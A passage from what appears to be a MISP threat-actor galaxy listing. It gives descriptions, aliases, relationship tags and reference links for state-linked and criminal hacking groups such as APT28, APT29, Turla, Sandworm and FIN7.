- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"

Table 6784. Table References

Links
https://en.wikipedia.org/wiki/Operation_Newscaster
https://iranthreats.github.io/resources/macdownloader-macos-malware/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/2014.05.28.NewsCaster_An_Iranian_Threat_Within_Social_Networks/file-2581720763-pdf.pdf
https://www.forbes.com/sites/thomasbrewster/2017/07/27/iran-hackers-oilrig-use-fake-personas-on-facebook-linkedin-for-cyberespionage/
https://cryptome.org/2012/11/parastoo-hacks-iaea.htm
https://securelist.com/files/2017/03/Report_Shamoon_StoneDrill_final.pdf
https://securelist.com/blog/software/74503/freezer-paper-around-free-meat/
https://www.verfassungsschutz.de/download/broschuere-2016-10-bfv-cyber-brief-2016-04.pdf
https://www.cfr.org/interactive/cyber-operations/newscaster
https://www.washingtontimes.com/news/2014/may/29/iranian-hackers-sucker-punch-us-defense-heads-crea/
https://securelist.com/freezer-paper-around-free-meat/74503/
https://www.scmagazine.com/home/security-news/cybercrime/hbo-breach-accomplished-with-hard-work-by-hacker-poor-security-practices-by-victim/
http://www.arabnews.com/node/1195681/media
https://cyware.com/news/iranian-apt-charming-kitten-impersonates-clearsky-the-security-firm-that-uncovered-its-campaigns-7fea0b4f
https://blog.certfa.com/posts/the-return-of-the-charming-kitten/
https://www.justice.gov/opa/pr/former-us-counterintelligence-agent-charged-espionage-behalf-iran-four-iranians-charged-cyber
https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/
https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf
https://attack.mitre.org/groups/G0058/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

APT33

Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

The tag is: *misp-galaxy:threat-actor="APT33"*

APT33 is also known as:

- APT 33
- Elfin
- MAGNALLIUM
- Refined Kitten
- HOLMIUM
- COBALT TRINITY
- G0064
- ATK35

View relationships graph

APT33 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT33 - G0064" with estimative-language:likelihood-probability="likely"

Table 6785. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://blog.trendmicro.com/trendlabs-security-intelligence/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting/
https://www.brighttalk.com/webcast/10703/275683
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://attack.mitre.org/groups/G0064/
https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/
https://www.cfr.org/interactive/cyber-operations/apt-33
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://dragos.com/adversaries.html

Magic Kitten

Earliest activity back to November 2008. An established group of cyber attackers based in Iran, who carried on several campaigns in 2013, including a series of attacks targeting political dissidents and those supporting Iranian political opposition.

The tag is: *misp-galaxy:threat-actor="Magic Kitten"*

Magic Kitten is also known as:

- Group 42
- VOYEUR

Table 6786. Table References

Links
http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/
https://carnegieendowment.org/2018/01/04/iran-s-cyber-ecosystem-who-are-threat-actors-pub-75140

Rocket Kitten

Targets Saudi Arabia, Israel, US, Iran, high ranking defense officials, embassies of various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.

The tag is: *misp-galaxy:threat-actor="Rocket Kitten"*

Rocket Kitten is also known as:

- TEMP.Beanie
- Operation Woolen Goldfish
- Operation Woolen-Goldfish
- Thamar Reservoir
- Timberworm

View relationships graph

Rocket Kitten has relationships with:

- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"

Table 6787. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing
https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf
http://www.clearskysec.com/thamar-reservoir/
https://citizenlab.ca/2015/08/iran_two_factor_phishing/
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://en.wikipedia.org/wiki/Rocket_Kitten
https://www.cfr.org/interactive/cyber-operations/rocket-kitten

Cleaver

A group of cyber actors utilizing infrastructure located in Iran have been conducting computer network exploitation activity against public and private U.S. organizations, including Cleared Defense Contractors (CDCs), academic institutions, and energy sector companies. This threat actor targets entities in the government, energy, and technology sectors that are located in or do business with Saudi Arabia.

The tag is: *misp-galaxy:threat-actor="Cleaver"*

Cleaver is also known as:

- Operation Cleaver
- Op Cleaver
- Tarh Andishan
- Alibaba
- TG-2889
- Cobalt Gypsy
- G0003

View relationships graph

Cleaver has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

Table 6788. Table References

Links
https://www.secureworks.com/research/the-curious-case-of-mia-ash
https://www.cfr.org/interactive/cyber-operations/operation-cleaver
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-woolen-goldfish-when-kittens-go-phishing
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations
https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-the-spy-kittens-are-back.pdf
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf
https://attack.mitre.org/groups/G0003/
https://xorl.wordpress.com/2021/05/06/iran-cyber-operations-groups/
https://www.secureworks.com/research/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles
https://know.netenrich.com/threatintel/threat_actor/Cutting%20Kitten
https://www.cfr.org/cyber-operations/operation-cleaver
https://securityaffairs.co/wordpress/33682/cyber-crime/ali-baba-apt-middle-east.html

https://scadahacker.com/library/Documents/Cyber_Events/Cylance%20-%20Operation%20Cleaver%20Report.pdf

Sands Casino

The tag is: *misp-galaxy:threat-actor="Sands Casino"*

Rebel Jackal

This is a pro-Islamist organization that generally conducts attacks motivated by real world events in which its members believe that members of the Muslim faith were wronged. Its attacks generally involve website defacements; however, the group did develop a RAT that it refers to as Fallaga RAT, but which appears to simply be a fork of the njRAT malware popular amongst hackers in the Middle East/North Africa region.

The tag is: *misp-galaxy:threat-actor="Rebel Jackal"*

Rebel Jackal is also known as:

- FallagaTeam

Viking Jackal

The tag is: *misp-galaxy:threat-actor="Viking Jackal"*

Viking Jackal is also known as:

- Vikingdom

APT28

The Sofacy Group (also known as APT28, Pawn Storm, Fancy Bear and Sednit) is a cyber espionage group believed to have ties to the Russian government. Likely operating since 2007, the group is known to target government, military, and security organizations. It has been characterized as an advanced persistent threat.

The tag is: *misp-galaxy:threat-actor="APT28"*

APT28 is also known as:

- Pawn Storm
- FANCY BEAR
- Sednit
- SNAKEMACKEREL
- Tsar Team
- TG-4127

- STRONTIUM
- Swallowtail
- IRON TWILIGHT
- Group 74
- SIG40
- Grizzly Steppe
- G0007
- ATK5
- Fighting Ursa
- ITG05
- Blue Athena
- TA422
- T-APT-12
- APT-C-20
- UAC-0028

View relationships graph

APT28 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"

Table 6789. Table References

Links
https://attack.mitre.org/groups/G0007/
https://en.wikipedia.org/wiki/Fancy_Bear
https://en.wikipedia.org/wiki/Sofacy_Group
https://www.bbc.com/news/technology-37590375
https://www.bbc.co.uk/news/technology-45257081
https://www.cfr.org/interactive/cyber-operations/apt-28
https://www.apnews.com/4d174e45ef5843a0ba82e804f080988f
https://www.voanews.com/a/iaaf-hack-fancy-bears/3793874.html
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://www.dw.com/en/hackers-lurking-parliamentarians-told/a-19564630
https://unit42.paloaltonetworks.com/unit42-sofacys-komplex-os-x-trojan/

https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www2.fireeye.com/rs/848-DID-242/images/wp-mandiant-matryoshka-mining.pdf
https://www.eff.org/deeplinks/2015/08/new-spear-phishing-campaign-pretends-be-eff
https://aptnotes.malwareconfig.com/web/viewer.html?file=../APTnotes/2014/apt28.pdf
https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware
https://www.wired.com/story/russian-fancy-bears-hackers-release-apparent-ioc-emails/
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://unit42.paloaltonetworks.com/unit42-sofacy-attacks-multiple-government-entities/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
https://www.msn.com/en-nz/news/world/russian-hackers-accused-of-targeting-un-chemical-weapons-watchdog-mh17-files/ar-BBNV2ny
https://unit42.paloaltonetworks.com/unit42-new-sofacy-attacks-against-us-government-agency/
https://unit42.paloaltonetworks.com/unit42-let-ride-sofacy-groups-dealerschoice-attacks-continue/
https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/
https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://www.bleepingcomputer.com/news/security/apt28-uses-lojax-first-uefi-rootkit-seen-in-the-wild/
https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-targets-mh17-investigation-team/
https://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/
https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/
https://blogs.microsoft.com/on-the-issues/2018/08/20/we-are-taking-new-steps-against-broadening-threats-to-democracy/
https://www.lse.co.uk/AllNews.asp?code=kwdwehme&headline=Russian_Hackers_Suspected_In_Cyberattack_On_German_Parliament
https://www.volkskrant.nl/cultuur-media/russen-faalden-bij-hackpogingen-ambtenaren-op-nederlandse-ministeries b77ff391/[https://www.volkskrant.nl/cultuur-media/russen-faalden-bij-hackpogingen-ambtenaren-op-nederlandse-ministeries b77ff391/]

https://www.ibtimes.co.uk/russian-hackers-fancy-bear-likely-breached-olympic-drug-testing-agency-dnc-experts-say-1577508
https://www.bleepingcomputer.com/news/security/microsoft-disrupts-apt28-hacking-campaign-aimed-at-us-midterm-elections/
https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected
https://www.accenture.com/t20181129T203820Z*w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf[https://www.accenture.com/t20181129T203820Z *w*/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf]
https://www.reuters.com/article/us-sweden-doping/swedish-sports-body-says-anti-doping-unit-hit-by-hacking-attack-idUSKCN1IG2GN
https://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/
https://www.washingtonpost.com/technology/2019/02/20/microsoft-says-it-has-found-another-russian-operation-targeting-prominent-think-tanks/?utm_term=.870ff11468ae
https://www.handelsblatt.com/today/politics/election-risks-russia-linked-hackers-target-german-political-foundations/23569188.html?ticket=ST-2696734-GRHgtQukDIEXeSOwksXO-ap1
https://www.accenture.com/t20190213T141124Z*w*/us-en/_acnmedia/PDF-94/Accenture-SNAKEMACKEREL-Threat-Campaign-Likely-Targeting-NATO-Members-Defense-and-Military-Outlets.pdf[https://www.accenture.com/t20190213T141124Z*w*/us-en/_acnmedia/PDF-94/Accenture-SNAKEMACKEREL-Threat-Campaign-Likely-Targeting-NATO-Members-Defense-and-Military-Outlets.pdf]
https://marcoramilli.com/2019/12/05/apt28-attacks-evolution/
https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/
https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/
https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/
https://unit42.paloaltonetworks.com/atoms/fighting-ursa/
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag

APT29

A 2015 report by F-Secure describe APT29 as: 'The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes show unusual confidence in their ability to continue successfully compromising their targets, as well as in their ability to operate with impunity. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States;Asian, African, and Middle Eastern governments;organizations associated with Chechen extremism;and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large - scale spear - phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash - and - grab approach involving a fast but noisy breakin followed by the rapid collection and exfiltration of as much data as possible.If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long - term intelligence gathering. This threat actor targets government ministries and agencies in the West, Central Asia, East Africa, and the Middle East; Chechen extremist groups; Russian organized crime; and think tanks. It is suspected to be behind the 2015 compromise of unclassified networks at the White House, Department of State, Pentagon, and the Joint Chiefs of Staff. The threat actor includes all of the Dukes tool sets, including MiniDuke, CosmicDuke, OnionDuke, CozyDuke, SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss). '

The tag is: *misp-galaxy:threat-actor="APT29"*

APT29 is also known as:

- Group 100
- COZY BEAR
- The Dukes
- Minidionis
- SeaDuke
- YTTRIUM
- IRON HEMLOCK
- Grizzly Steppe
- G0016
- ATK7
- Cloaked Ursa
- TA421
- Blue Kitsune
- ITG11

View relationships graph

APT29 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT29 - G0016" with estimative-language:likelihood-

probability="likely"

Table 6790. Table References

Links
https://labsblog.f-secure.com/2015/09/17/the-dukes-7-years-of-russian-cyber-espionage/
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
https://www.us-cert.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://www.cfr.org/interactive/cyber-operations/dukes
https://pylos.co/2018/11/18/cozybear-in-from-the-cold/
https://cloudblogs.microsoft.com/microsoftsecure/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/
https://www.secureworks.com/research/threat-profiles/iron-hemlock
https://attack.mitre.org/groups/G0016
https://unit42.paloaltonetworks.com/atoms/cloaked-ursa/

Turla

A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'

The tag is: *misp-galaxy:threat-actor="Turla"*

Turla is also known as:

- Snake

* VENOMOUS Bear
* Group 88
* Waterbug
* WRAITH
* Uroburos
* Pfinet
* TAG_0530
* KRYPTON
* Hippo Team
* Pacifier APT
* Popeye
* SIG23
* IRON HUNTER
* MAKERSMARK
* ATK13
* G0010
* ITG12
* Blue Python

View relationships graph

Turla has relationships with:

* similar: misp-galaxy:mitre-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
* similar: misp-galaxy:threat-actor="APT26" with estimative-language:likelihood-probability="likely"

Table 6791. Table References

Links
https://www.circl.lu/pub/tr-25/
https://securelist.com/introducing-whitebear/81638/
https://securelist.com/the-epic-turla-operation/65545/
https://www.cfr.org/interactive/cyber-operations/turla
https://www.nytimes.com/2010/08/26/technology/26cyber.html
https://securelist.com/blog/research/67962/the-penquin-turla-2/
https://www.kaspersky.com/blog/moonlight-maze-the-lessons/6713/
https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf

https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://threatpost.com/linux-modules-connected-to-turla-apt-discovered/109765/
https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/
https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/
https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf
https://yle.fi/uutiset/osasto/news/russian_group_behind_2013_foreign_ministry_hack/8591548
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://securelist.com/blog/research/72081/satellite-turla-apt-command-and-control-in-the-sky/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf
https://www.theguardian.com/technology/2014/aug/07/turla-hackers-spying-governments-researcher-kaspersky-symantec
https://www.bleepingcomputer.com/news/security/turla-outlook-backdoor-uses-clever-tactics-for-stealth-and-persistence/
https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf
https://www.melani.admin.ch/melani/en/home/dokumentation/reports/technical-reports/technical-report_apt_case_ruag.html
https://unit42.paloaltonetworks.com/unit42-kazuar-multiplatform-espionage-backdoor-api-access/
https://www.engadget.com/2017/06/07/russian-malware-hidden-britney-spears-instagram/
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
https://www.trendmicro.com/vinfo/vn/security/news/cyber-attacks/cyberespionage-group-turla-deploys-backdoor-ahead-of-g20-summit
https://www.zdnet.com/article/this-hacking-gang-just-updated-the-malware-it-uses-against-uk-targets/
https://attack.mitre.org/groups/G0010/
https://www.telsy.com/turla-venomous-bear-updates-its-arsenal-newpass-appears-on-the-apt-threat-scene/
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag

ENERGETIC BEAR

A Russian group that collects intelligence on the energy industry.

The tag is: *misp-galaxy:threat-actor="ENERGETIC BEAR"*

ENERGETIC BEAR is also known as:

- BERSERK BEAR
- ALLANITE
- CASTLE
- DYMALLOY
- TG-4192
- Dragonfly
- Crouching Yeti
- Group 24
- Havex
- Koala Team
- IRON LIBERTY
- G0035
- ATK6
- ITG15
- BROMINE
- Blue Kraken

View relationships graph

ENERGETIC BEAR has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Dragonfly - G0035" with estimative-language:likelihood-probability="likely"

Table 6792. Table References

Links
https://www.gov.uk/government/publications/russias-fsb-malign-cyber-activity-factsheet/russias-fsb-malign-activity-factsheet
http://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf
http://www.netresec.com/?page=Blog&month=2014-10&post=Full-Disclosure-of-Havex-Trojans
https://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit/104772/
https://www.cfr.org/interactive/cyber-operations/crouching-yeti
https://www.reuters.com/article/us-ukraine-cyber-attack-energy-idUSKBN1521BA

https://dragos.com/wp-content/uploads/CrashOverride-01.pdf
https://www.independent.ie/irish-news/statesponsored-hackers-targeted-eirgrid-electricity-network-in-devious-attack-36005921.html
https://www.riskiq.com/blog/labs/energetic-bear/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://www.kaspersky.com/resource-center/threats/crouching-yeti-energetic-bear-malware-threat
https://www.sans.org/reading-room/whitepapers/ICS/impact-dragonfly-malware-industrial-control-systems-36672
https://attack.mitre.org/groups/G0035/
https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/dymalloy

Sandworm

This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage

The tag is: *misp-galaxy:threat-actor="Sandworm"*

Sandworm is also known as:

- Quedagh
- VOODOO BEAR
- TEMP.Noble
- IRON VIKING
- G0034
- ELECTRUM
- TeleBots
- IRIDIUM
- Blue Echidna

View relationships graph

Sandworm has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="GreyEnergy" with estimative-language:likelihood-probability="likely"

Table 6793. Table References

Links
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.us-cert.gov/ncas/alerts/TA17-163A
https://ics.sans.org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid
https://web.archive.org/web/20141016132823/https://www.symantec.com/connect/blogs/sandworm-windows-zero-day-vulnerability-being-actively-exploited-targeted-attacks
https://ics.sans.org/blog/2015/12/30/current-reporting-on-the-cyber-attack-in-ukraine-resulting-in-power-outage
https://blog.trendmicro.com/trendlabs-security-intelligence/timeline-of-sandworm-attacks
https://attack.mitre.org/groups/G0034
https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://dragos.com/adversaries.html
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks
https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine
https://www.welivesecurity.com/2017/05/23/xdata-ransomware-making-rounds-amid-global-wannacryptor-scare
https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back

FIN7

Groups targeting financial organizations or people with significant financial assets.

The tag is: *misp-galaxy:threat-actor="FIN7"*

FIN7 is also known as:

- CARBON SPIDER

- GOLD NIAGARA
- Calcium
- ATK32
- G0046
- G0008

View relationships graph

FIN7 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="FIN7 - G0046" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Carbanak - G0008" with estimative-language:likelihood-probability="likely"

Table 6794. Table References

Links
https://en.wikipedia.org/wiki/Carbanak
https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe
http://2014.zeronights.ru/assets/files/slides/ivanovb-zeronights.pdf
https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks
https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor
https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain
https://www.computerweekly.com/news/252446153/Three-Carbanak-cyber-heist-gang-members-arrested
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf
https://www.group-ib.com/resources/threat-research/Anunak_APT_against_financial_institutions.pdf
https://attack.mitre.org/groups/G0008/
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
https://threatpost.com/fileless-malware-campaigns-tied-to-same-attacker/124369/
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
https://blog.morphisec.com/fin7-attacks-restaurant-industry

https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/
https://blog.morphisec.com/fin7-attack-modifications-revealed
https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://attack.mitre.org/groups/G0046/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://threatintel.blog/OPBlueRaven-Part1/
https://threatintel.blog/OPBlueRaven-Part2/
https://www.secureworks.com/research/threat-profiles/gold-niagara

TeamSpy Crew

Researchers have uncovered a long-term cyber-espionage campaign that used a combination of legitimate software packages and commodity malware tools to target a variety of heavy industry, government intelligence agencies and political activists. Known as the TeamSpy crew because of its affinity for using the legitimate TeamViewer application as part of its toolset, the attackers may have been active for as long as 10 years, researchers say. The attack appears to be a years-long espionage campaign, but experts who have analyzed the victim profile, malware components and command-and-control infrastructure say that it’s not entirely clear what kind of data the attackers are going after. What is clear, though, is that the attackers have been at this for a long time and that they have specific people in mind as targets. Researchers at the CrySyS Lab in Hungary were alerted by the Hungarian National Security Authority to an attack against a high-profile target in the country and began looking into the campaign. They quickly discovered that some of the infrastructure being used in the attack had been in use for some time and that the target they were investigating was by no means the only one.

The tag is: *misp-galaxy:threat-actor="TeamSpy Crew"*

TeamSpy Crew is also known as:

- TeamSpy
- Team Bear
- Anger Bear
- IRON LYRIC

Table 6795. Table References

Links
https://securelist.com/blog/incidents/35520/the-teamspy-crew-attacks-abusing-teamviewer-for-cyberespionage-8/
https://www.cfr.org/interactive/cyber-operations/team-spy-crew

